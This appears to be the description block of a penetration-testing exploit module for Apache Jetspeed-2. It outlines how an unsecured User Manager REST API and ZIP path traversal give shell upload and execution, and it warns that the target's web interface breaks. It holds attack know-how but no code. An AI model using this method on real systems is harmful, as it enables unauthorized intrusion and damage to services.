        This module exploits the unsecured User Manager REST API and a ZIP file
        path traversal in Apache Jetspeed-2, versions 2.3.0 and unknown earlier
        versions, to upload and execute a shell.

        Note: this exploit will create, use, and then delete a new admin user.

        Warning: in testing, exploiting the file upload clobbered the web
        interface beyond repair. No workaround has been found yet. Use this
        module at your own risk. No check will be implemented.
